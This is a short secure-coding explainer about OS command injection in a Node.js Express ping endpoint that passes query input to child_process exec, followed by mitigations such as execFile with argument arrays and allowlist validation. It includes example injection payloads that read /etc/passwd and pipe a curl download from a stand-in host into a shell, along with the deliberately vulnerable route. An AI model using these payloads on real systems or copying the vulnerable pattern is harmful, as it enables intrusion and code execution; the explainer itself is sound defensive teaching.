const { exec } = require("node:child_process");
app.get("/ping", (req, res) => {
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
});
The vulnerability is OS command injection. exec runs the string through a shell, so shell metacharacters (special characters like ; and $()) in the input become commands. For example, a request with host=8.8.8.8; cat /etc/passwd or $(curl evil.sh | sh) runs any code the attacker wants, with the server's privileges.
To run external programs safely:
- First, avoid running a shell when a library or built-in API can do the job.
- If you must run a program, use
execFileorspawnwith an array of arguments and withoutshell: true. The input is then passed as one argument, and no shell ever parses it. - Validate the input against a strict allowlist. Here, that is a hostname or IP pattern.
- Block argument injection by rejecting values that start with
-. Otherwise the input could be read as an option flag. - Run the process as a least-privilege user (one with only the permissions it needs), with a timeout.
- exec passes the string to a shell.
- Metacharacters like ; and $() run extra commands.
- Prefer libraries over running a shell.
- Use execFile or spawn with an argument array, and no shell.
- Validate with an allowlist and reject arguments that start with a dash.